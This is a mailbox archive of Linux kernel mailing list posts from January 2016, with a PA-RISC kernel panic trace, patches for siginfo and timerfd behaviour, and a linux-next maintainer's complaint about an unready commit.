> rtc-generic rtc-generic: rtc core: registered rtc-generic as rtc0
> NET: Registered protocol family 17
> sd 0:0:0:0: [sda] Write Protect is off
> rtc-generic rtc-generic: setting system clock to 2015-12-31 11:45:39 UTC (1451562339)
> sd 0:0:0:0: [sda] Write cache: disabled, read cache: enabled, supports DPO and FUA
>  sda: sda1 sda2 sda3 sda4
> sd 0:0:0:0: [sda] Attached SCSI disk
> EXT4-fs (sda3): couldn't mount as ext3 due to feature incompatibilities
> EXT4-fs (sda3): couldn't mount as ext2 due to feature incompatibilities
> EXT4-fs (sda3): mounted filesystem with ordered data mode. Opts: (null)
> VFS: Mounted root (ext4 filesystem) readonly on device 8:3.
> devtmpfs: mounted
> Freeing unused kernel memory: 1024K (0000000040100000 - 0000000040200000)
> ------------[ cut here ]------------
> WARNING: at block/blk-merge.c:438
> Modules linked in:
> CPU: 0 PID: 1 Comm: init Not tainted 4.4.0-rc7-00028-gc616920 #81
> task: 000000007fce8000 ti: 000000007fc3c000 task.ti: 000000007fc3c000
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001101111111100001111 Not tainted
> r00-03  000000ff0806ff0f 000000007fc3d990 0000000000000000 000000007fc3d990
> r04-07  00000000407b20b0 0000000000000000 0000000000000110 0000000000000000
> r08-11  0000000000000000 0000000000000001 000000033f8b6bf0 0000000000000000
> r12-15  0000000000001000 000000033f9e0000 0000000000000002 0000000000000011
> r16-19  0000000042174470 000000033f8b6bf0 000000033f8b6930 0000000000000000
> r20-23  0000000000000000 000000007f1dd800 0000000000011000 0000000000000000
> r24-27  0000000000000000 2ffffedf40000000 000000033f8b6bf0 00000000407b20b0
> r28-31  0000000000000001 0000000000001000 000000007fc3dac0 0000000000000001
> sr00-03  0000000000000000 0000000000000800 0000000000000000 0000000000000800
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040481d9c 0000000040481da0
>  IIR: 03ffe01f    ISR: 0000000010340800  IOR: 000003fe2d8b6bf0
>  CPU:        0   CR30: 000000007fc3c000 CR31: ffffffffffffffff
>  ORIG_R28: 0000000000000158
>  IAOQ[0]: blk_rq_map_sg+0x5cc/0x600
>  IAOQ[1]: blk_rq_map_sg+0x5d0/0x600
>  RP(r2):           (null)
> Backtrace:
>  [<00000000405510d0>] scsi_init_sgtable+0xa0/0x130
>  [<00000000405511b4>] scsi_init_io+0x54/0x160
>  [<0000000040570958>] sd_init_command+0x68/0x708
>  [<00000000405513c4>] scsi_setup_cmnd+0x104/0x1a0
>  [<0000000040551f54>] scsi_queue_rq+0x864/0x9f8
>  [<00000000404877f4>] __blk_mq_run_hw_queue+0x2e4/0x4e0
>  [<00000000404874e4>] blk_mq_run_hw_queue+0xdc/0x108
>  [<000000004048928c>] blk_mq_insert_requests+0x15c/0x190
>  [<000000004048a19c>] blk_mq_flush_plug_list+0x17c/0x1a8
>  [<000000004047af64>] blk_flush_plug_list+0x104/0x2b0
>  [<000000004047b4c4>] blk_finish_plug+0x44/0x68
>  [<00000000402ee0dc>] __do_page_cache_readahead+0x29c/0x360
>  [<00000000402dfb4c>] filemap_fault+0x4f4/0x5a0
>  [<000000004030d464>] __do_fault+0x5c/0x148
>  [<000000004031360c>] handle_mm_fault+0xa84/0x1a10
> 
> ---[ end trace 4a3faaec387ada43 ]---
> ------------[ cut here ]------------
> kernel BUG at drivers/scsi/scsi_lib.c:1096!
> CPU: 0 PID: 1 Comm: init Tainted: G        W       4.4.0-rc7-00028-gc616920 #81
> task: 000000007fce8000 ti: 000000007fc3c000 task.ti: 000000007fc3c000
> 
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00001000000001101111111100001111 Tainted: G        W
> r00-03  000000ff0806ff0f 000000007fc3d990 00000000405510d0 000000007fc3d8f0
> r04-07  00000000407b20b0 0000000000000001 000000033f8b6b48 000000033f8b6930
> r08-11  000000033f871000 000000007f148000 0000000000011000 0000000040999d00
> r12-15  000000033f871000 000000033f8b6930 0000000000000000 000000033f871000
> r16-19  0000000000000000 0000000000000158 000000033f854ba0 0000000000000000
> r20-23  0000000000000000 000000007f1dd800 0000000000011000 0000000000000000
> r24-27  0000000000000000 2ffffedf40000000 000000033f8b6bf0 00000000407b20b0
> r28-31  0000000000000002 0000000000001000 000000007fc3d990 0000000000000001
> sr00-03  0000000000000000 0000000000000800 0000000000000000 0000000000000800
> sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> 
> IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040551140 0000000040551144
>  IIR: 03ffe01f    ISR: 0000000000000000  IOR: 0000000000000000
>  CPU:        0   CR30: 000000007fc3c000 CR31: ffffffffffffffff
>  ORIG_R28: 0000000000000000
>  IAOQ[0]: scsi_init_sgtable+0x110/0x130
>  IAOQ[1]: scsi_init_sgtable+0x114/0x130
>  RP(r2): scsi_init_sgtable+0xa0/0x130
> Backtrace:
>  [<00000000405511b4>] scsi_init_io+0x54/0x160
>  [<0000000040570958>] sd_init_command+0x68/0x708
>  [<00000000405513c4>] scsi_setup_cmnd+0x104/0x1a0
>  [<0000000040551f54>] scsi_queue_rq+0x864/0x9f8
>  [<00000000404877f4>] __blk_mq_run_hw_queue+0x2e4/0x4e0
>  [<00000000404874e4>] blk_mq_run_hw_queue+0xdc/0x108
>  [<000000004048928c>] blk_mq_insert_requests+0x15c/0x190
>  [<000000004048a19c>] blk_mq_flush_plug_list+0x17c/0x1a8
>  [<000000004047af64>] blk_flush_plug_list+0x104/0x2b0
>  [<000000004047b4c4>] blk_finish_plug+0x44/0x68
>  [<00000000402ee0dc>] __do_page_cache_readahead+0x29c/0x360
>  [<00000000402dfb4c>] filemap_fault+0x4f4/0x5a0
>  [<000000004030d464>] __do_fault+0x5c/0x148
>  [<000000004031360c>] handle_mm_fault+0xa84/0x1a10
> 
> CPU: 0 PID: 1 Comm: init Tainted: G        W       4.4.0-rc7-00028-gc616920 #81
> Backtrace:
>  [<0000000040216888>] show_stack+0x20/0x38
>  [<00000000404a2fac>] dump_stack+0xac/0x130
>  [<0000000040216a5c>] die_if_kernel+0x19c/0x2e0
>  [<0000000040217948>] handle_interruption+0x9a8/0x9d0
> 
> ---[ end trace 4a3faaec387ada44 ]---
> note: init[1] exited with preempt_count 2
> Kernel panic - not syncing: Attempted to kill init! exitcode=0x0000000b
> 
> ---[ end Kernel panic - not syncing: Attempted to kill init! 
> exitcode=0x0000000b
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Fix __ARCH_SI_PREAMBLE_SIZE on parisc
Date: Sun, 10 Jan 2016 09:30:42 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20160110083042.GA7353@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1452414662 26321 80.91.229.3 (10 Jan 2016 08:31:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Jan 2016 08:31:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 10 09:30:55 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aIBOn-0002rx-Qw
	for glpp-linux-parisc@plane.gmane.org; Sun, 10 Jan 2016 09:30:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752159AbcAJIaw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 Jan 2016 03:30:52 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:53490 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751887AbcAJIav (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 Jan 2016 03:30:51 -0500
Original-Received: from ls3530.box ([92.203.18.244]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0M50aI-1Zz7oB0ERS-00zGTY; Sun, 10 Jan 2016 09:30:45
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:/sOJTdYOxTJd6P4F42vk4t/6TYjqEL5l+/HJ8HoA/TM0e//qMGO
 EPiUkSvlU0N2kIYw5dPKlOG5MPK0anxFPiwFrBjac6lDbCEHfb3Zvwff6dok/d2lcgB1ZyH
 WjuOloX50MzW+WszWVvHAy0EE77Uj7C0ADwvi7uEXpcR8/sNr3aeL7qFCyvBSAG+KnYjlY8
 sXP2vnqBvtJck6UxoOKtQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:wDVRc+JwVis=:yxeVw89ba10cSpWBeADV3y
 ZRKpodxezwRBpYf7bS4HMuEc551Mo8NDhSMNXwwNkfJLmqnUc2oUlIkKIuaQ8wgnGVhb18zkY
 NRQTMhAvUjW52DYRKYdBgt5nCENN9Z/eJrVK8UDwmRB+W7nNJrqmkYuaFtWWPdJvMimvBpREw
 TZyPKIOAcepGjjdnChF9d34qC8lhrWohMEiePXTlhEYndHIjOtQbJ0XheCUUO70iBI9yLBmwn
 CVbTHnzjhZDdQotA25rzCHqZsTP1ai5Lt9+tfO9OdVjDkXmTNK0/kcCNu2XiR4k2jyftHeHz1
 tPblzjU55oiDhBwHrdZunUXONui2hIR+odyKf6uokrKxGUa+LtgprLjO0fhnBKK3n3/gOVA6P
 /7Ge9zZ4zX6PTF7y5kazDlr0+QrZE/1ZRkDTFLSMb57pPD1UoVvN1U8dGSxBqyJPFI499d3zA
 nXXfMElSc/3wtXnJuTkTRo+AdGD2WIiVRZQFCzFOm0lvvPbw/xDE8rBF7l8PbnHd2UPtdRSa+
 tb3YEDOairaKeVRxGs2gcGv5Wyv/YtPUeHGWYGVLG30nBrBKZbsBfos2jq+VTSthjqgR1Ic/g
 RRbFA7IqDk1rXMSH39LBXRWv4fpcZO6R4OPdG0cnOvy2zib7vbKBBF28QvvxQuai2LGBXF1Ou
 uoSMZFDbp0UqwH408MZviQnEiv8Mw48FeTyJVBeNQ+HeNyJnlw1DVYLGcD4sTbjNy194dNQD6
 RCY0bhaSZ2nnEH7UjTktk+WPL7MeNytyJl8xt5zpk5CBTGcp1pNU/E76hVM=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26340
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26340>

On a 64bit kernel build the compiler aligns the _sifields union in the
struct siginfo_t on a 64bit address. The __ARCH_SI_PREAMBLE_SIZE define
compensates for this alignment and thus fixes the wait testcase of the
strace package.

The symptoms of a wrong __ARCH_SI_PREAMBLE_SIZE value is that
_sigchld.si_stime variable is missed to be copied and thus after a
copy_siginfo() will have uninitialized values.

Signed-off-by: Helge Deller <deller@gmx.de>
Cc: stable@vger.kernel.org

diff --git a/arch/parisc/include/uapi/asm/siginfo.h b/arch/parisc/include/uapi/asm/siginfo.h
index d703472..1c75565 100644
--- a/arch/parisc/include/uapi/asm/siginfo.h
+++ b/arch/parisc/include/uapi/asm/siginfo.h
@@ -1,6 +1,10 @@
 #ifndef _PARISC_SIGINFO_H
 #define _PARISC_SIGINFO_H
 
+#if defined(__LP64__)
+#define __ARCH_SI_PREAMBLE_SIZE   (4 * sizeof(int))
+#endif
+
 #include <asm-generic/siginfo.h>
 
 #undef NSIGTRAP
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Drop parisc-specific NSIGTRAP define
Date: Sun, 10 Jan 2016 09:36:24 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20160110083624.GA7508@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1452415006 30614 80.91.229.3 (10 Jan 2016 08:36:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Jan 2016 08:36:46 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jan 10 09:36:37 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aIBUL-0004de-5j
	for glpp-linux-parisc@plane.gmane.org; Sun, 10 Jan 2016 09:36:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751622AbcAJIgg (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 Jan 2016 03:36:36 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:55600 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751210AbcAJIgg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 Jan 2016 03:36:36 -0500
Original-Received: from ls3530.box ([92.203.18.244]) by mail.gmx.com (mrgmx001) with
 ESMTPSA (Nemesis) id 0MLNpK-1aHdWQ11Gc-000ac4; Sun, 10 Jan 2016 09:36:28
 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:/I5ZcTngo+FpZYaC86juiwerKdILYW97GJzrF3QlFj/NU3JhKtP
 X3snrb8L1P9KeWHeeTqaNAS3LCcm8UrgjV7BVFiXn2TTMfpYjiM5rEr+zz8nhegPpU5YNAW
 8mwXIFZuznuGfRHE/2EZ4Lp1hyeK3lwz221/l4YgQCaUrgkXjPLFGdouxXc4zbiiFdJd05E
 zdlj5V+mx+jOJbNxeGcwg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:JCw02ikkjtI=:2aEErmaifWgNVQv1CbDoQ1
 sZsEO8amW2VBy3SvTGX7FnCZeKFZsl3BxEKGApPbY5Dn4OXRop5Nmd9rn8emYP2ShQRQpjcnn
 RdHnq2iPr/EZvzFjUKTDbE88nU0BkLGI5zQKcIs8Nl0IY9yh8PGP7Jz4PwCRIvkfZ66NLQfrV
 8glLNEIpa378fhhq3izjvk+9pZ17Jlm3L3KCDL4pImGtKQXsZAE451kbOXdJhUFXB9+BS0PYC
 dkyhdLzPeA923t6A710xO4IjlRlFEHxWygc3Qt3jRCDzeCTSCYoBCVzSUq7Zg3Eva2iqE+urU
 BpM1rsRcjCPDrb8UMZaeT7oA7zzH3J1a25AtKDITBze6xCL53gQSx47fisVVzbxG0h+M/HGLE
 cOUEwinNL8vetqtQHuB5HBPHs3TbiojdjZcNehkE8Z0WGmwaOXC6iPFkEWuNhQtmBtsE7vVyJ
 LYrE5+iQd0Opln0dasCvvIymU7CbajHmYyDFGsgbUeGcrqpmVQS/qcNU+7Flt2JjRBGK4ulQv
 dsuzEziNh/BlZof9Z6FiPMgkz+qUrkfd3WdgZp9SShoJ77UPBzgvmapGxfVqE+tod9hf5/Do5
 jljN5zSCPRwyDYvsXe9/DxKZAGhRUiagpgS7pGn5IOhmo4a0VpKJgJv9+CiNoQ2yUaGu+EQrb
 Q3hZr59eD/fq34Hw5CC9nTt6UsE79w28KbMMJnA1XPuHCSp68Bjr/TaNKdB5HBwr+G9bWhH8I
 RL9YFuDXFLHlYEhW28k4xCuV0WuoFNwNwlZ8RpcyuPEh1m6ERUpgSQBwUxo=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26341
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26341>

NIGTRAP is already defined in asm-generic/siginfo.h, so no need to
define it ourselves.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/uapi/asm/siginfo.h b/arch/parisc/include/uapi/asm/siginfo.h
index 1c75565..8fd10f8 100644
--- a/arch/parisc/include/uapi/asm/siginfo.h
+++ b/arch/parisc/include/uapi/asm/siginfo.h
@@ -7,7 +7,4 @@
 
 #include <asm-generic/siginfo.h>
 
-#undef NSIGTRAP
-#define NSIGTRAP	4

From - Thu Nov 08 21:38:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:38:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH parisc,frv,m68k] timerfd: Fix timeout values with
 CONFIG_TIME_LOW_RES=y
Date: Sun, 10 Jan 2016 21:57:39 +0100
Lines: 47
Approved: news@gmane.org
Message-ID: <20160110205739.GA21713@p100.box>
References: <20160104222757.GA969@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1452459488 27964 80.91.229.3 (10 Jan 2016 20:58:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Jan 2016 20:58:08 +0000 (UTC)
To: linux-parisc@vger.kernel.org, Thomas Gleixner <tglx@linutronix.de>,
	linux-m68k@lists.linux-m68k.org, dhowells@redhat.com,
	linux-kernel@vger.kernel.org
Original-X-From: linux-m68k-owner@vger.kernel.org Sun Jan 10 21:57:58 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1aIN3l-0006ZD-Tg
	for glpm-linux-m68k@plane.gmane.org; Sun, 10 Jan 2016 21:57:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757378AbcAJU54 (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Sun, 10 Jan 2016 15:57:56 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:61924 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757341AbcAJU5z (ORCPT <rfc822;linux-m68k@lists.linux-m68k.org>);
	Sun, 10 Jan 2016 15:57:55 -0500
Original-Received: from p100.box ([92.203.18.244]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0MUZG7-1aiSd20FPP-00RLUp; Sun, 10 Jan 2016 21:57:43
 +0100
Content-Disposition: inline
In-Reply-To: <20160104222757.GA969@p100.box>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:qt3nkpzg4PMOlWXyD9KAiUcc12QBG406VseotkulQWThT3StCoX
 PJYTHfEIP23XBQcBeUNYJ/+T7AQeB0j32/CIpZswMH71q3OE+PcQSUxK5k0dPxvXgXbH9mB
 8Nyr0MMhL74b9gH2bqAElCq1OKPCCzfqgC3mDazpz6yd3bFDoxB37lq9n87kkdhphDR4UYa
 vpAl4jhKpQTUobLclSsYw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:HOpuX6vRHmU=:cewJdA4m0ztpGKZMtUXBsP
 gHy/UQJABFygtFzGnQemUS8ZNvfSRjw9w3iaIRO5PAt5YMi4AcJ8oJJLs+8zBIgpNnuLRO42r
 GIkF/zQckD6K57czuBr9P+QsiqNzRpGvcseh5uEjdN0CxrP4srwJC1yahG2LCjihhfNMGLiuf
 /oBidfO/geA7opc+M3cLiLGdq6mR2r1EP1qfmtw75rT58VXuPRNFcpMFahEFPSyziF2OzHtQb
 T/L+fi7Gfpvtya1CDEgnOql7looGgVOoCjppOp9ZG6Rj7bQo/OPRumcWbHfdwVJqsfi+dJLfM
 MPwS26en7Sfy73Tv/r8WZb8KYdSTPZUeAl0WSZrniA8M/DyaFSEw2N0t8VokfChGSBhfnrShZ
 BU1BYOsQtLHw1hUWnl8darKvyh8ktzR30NW5zH8tvtf9IdA21XxUv1w85XIw1D0xnFCPsTvaR
 qjyD1xkdTmxvLTOgUhGCq8/nk9KjNUlvo4iHAmMnnnifNKxzFrjeLn4ECqHWN9zh3GzCO6tqt
 Glx01+xkiTfb6nHF1eqJgDrb13IsgBunhnBj11Wn3ZWENtoAZr7J+Hl1x2MeIK/bRtASRBzDE
 gobygEkwVnkLkPH5uBtDGHfTlBGR3CuT7ptQFHkeAOqEx91iAO6T74g9m3m2Ws/4wIpuBji11
 kPBrlJlwXcf2iPrlx05jyi+f81A7BGD13v0N/4/cpGeBgrylfzl4t2kzs0DCku8vMrnasTLuQ
 UacVpaoDP9si4lc2H7iWGMqv3lsxsM8WxGJUPNYi0xiiFvK8On2S5ydwyIU=
Original-Sender: linux-m68k-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-m68k.vger.kernel.org>
X-Mailing-List: linux-m68k@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.m68k:8188 gmane.linux.ports.parisc:26343 gmane.linux.kernel:2123039
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.m68k/8188>

On architectures where CONFIG_TIME_LOW_RES is set (currently parisc,
m68k, frv) calling timerfd_settime() to set a timeout and directly
afterwards calling timerfd_gettime() to get the remaining time shows a
behaviour that the remaining time can be higher than the originally set
timeout.

Here is an example showing the problem, that the nsec value of it_value
is higher than the set nsec value: 
  timerfd_settime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=100000000) 
  timerfd_gettime: interval (sec=0, nsec=100000000) it_value (sec=0, nsec=103029949) 

This happens because in hrtimer_start_range_ns() the expiry time is
rounded to the next jiffies period to avoid short timeouts. When running
with HZ=250 this is 4ms which can be seen in the example above.

This behaviour confuses userspace programs. For example, the debian
liblinux-fd-perl and libnanomsg-raw-perl packges fail to build because
the timeout is higher than expected.

Fix this problem by subtracting the value added by
hrtimer_start_range_ns() before returning the timeout back to userspace.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/fs/timerfd.c b/fs/timerfd.c
index b94fa6c..098ac0a 100644
--- a/fs/timerfd.c
+++ b/fs/timerfd.c
@@ -152,8 +152,17 @@ static ktime_t timerfd_get_remaining(struct timerfd_ctx *ctx)
 
 	if (isalarm(ctx))
 		remaining = alarm_expires_remaining(&ctx->t.alarm);
-	else
+	else {
 		remaining = hrtimer_expires_remaining(&ctx->t.tmr);
+#ifdef CONFIG_TIME_LOW_RES
+		/* Expiry time was rounded up in hrtimer_start_range_ns()
+		 * to the next jiffies period to avoid short timeouts.
+		 * Subtract it here again to avoid userspace seeing higher
+		 * values than originally programmed. */
+		if (!(ctx->settime_flags & TFD_TIMER_ABSTIME))
+			remaining.tv64 -= hrtimer_resolution;
+#endif
+	}
 
 	return remaining.tv64 < 0 ? ktime_set(0, 0): remaining;
 }

From - Thu Nov 08 21:38:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephen Rothwell <sfr@canb.auug.org.au>
Newsgroups: gmane.linux.kernel.next,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: linux-next: strange commit in the parisc-hd tree
Date: Mon, 11 Jan 2016 09:28:22 +1100
Lines: 22
Approved: news@gmane.org
Message-ID: <20160111092822.4b4c0233@canb.auug.org.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1452464913 10074 80.91.229.3 (10 Jan 2016 22:28:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Jan 2016 22:28:33 +0000 (UTC)
Cc: linux-next@vger.kernel.org, linux-kernel@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
	Parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-next-owner@vger.kernel.org Sun Jan 10 23:28:27 2016
Return-path: <linux-next-owner@vger.kernel.org>
Envelope-to: glkn-linux-next@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-next-owner@vger.kernel.org>)
	id 1aIOTK-0007QM-IB
	for glkn-linux-next@plane.gmane.org; Sun, 10 Jan 2016 23:28:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757352AbcAJW2Y (ORCPT <rfc822;glkn-linux-next@m.gmane.org>);
	Sun, 10 Jan 2016 17:28:24 -0500
Original-Received: from ozlabs.org ([103.22.144.67]:56114 "EHLO ozlabs.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753259AbcAJW2Y (ORCPT <rfc822;linux-next@vger.kernel.org>);
	Sun, 10 Jan 2016 17:28:24 -0500
Original-Received: from authenticated.ozlabs.org (localhost [127.0.0.1])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(No client certificate requested)
	by ozlabs.org (Postfix) with ESMTPSA id 5BCD81402DD;
	Mon, 11 Jan 2016 09:28:22 +1100 (AEDT)
X-Mailer: Claws Mail 3.13.1 (GTK+ 2.24.29; x86_64-pc-linux-gnu)
Original-Sender: linux-next-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-next.vger.kernel.org>
X-Mailing-List: linux-next@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.next:37760 gmane.linux.ports.parisc:26344 gmane.linux.kernel:2123053
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.next/37760>

Hi all,

I noticed the following commit in the parisc-hd tree today:

  43122681dd75 ("Fix __ARCH_SI_PREAMBLE_SIZE on parisc")

which among other things says:

  This patch is not planned to be committed as it currently is.

It also has no Signed-off-by :-(

Please remove it from linux-next inclusion until it is ready.  Delibeately
introducing a patch to linux-next that may well cause build breakage
in other architectures just before the merge window opens is a bit
antisocial.

I will merge a revert commit for it today.

-- 
Cheers,
Stephen Rothwell                    sfr@canb.auug.org.au

From - Thu Nov 08 21:38:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v4 01/13] tty: serial: 8250: Fix whitespace errors
Date: Mon, 11 Jan 2016 14:28:14 +0200
Organization: Intel Finland Oy
Lines: 91
Approved: news@gmane.org
Message-ID: <1452515294.26146.10.camel@linux.intel.com>
References: <1452275039-18787-1-git-send-email-anton.wuerfel@fau.de>
	 <1452275039-18787-2-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452515279 13820 80.91.229.3 (11 Jan 2016 12:27:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 11 Jan 2016 12:27:59 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Peter Hurley <peter@hurleysoftware.com>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Qipeng Zha <qipeng.zha@intel.com>,
	Desmond Liu <desmondl@broadcom.com>,
	Wang Long <long.wanglong@huawei.com>,
	Matt Redfearn <matt.redfearn@imgtec.com>,
	Paul Burton <paul.burton@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	Krzysztof Kozlowski <k.kozlowski@samsung.com>,
	Peter Hung <hpeter@gmail.com>,
	Soeren Grunewald <soeren.grunewald@desy.de>,
	Adam Lee <adam.lee@canonical.com>,
	"Maciej S. Szmigiero" <mail@maciej.szmigiero.name>,
	Mans Rullgard <mans@mansr.com>, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linux-kernel@i4.cs.fau.de,
	phillip.raffeck@fau.de
To: Anton Wuerfel <anton.wuerfel@fau.de>,
	Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jan 11 13:27:55 2016
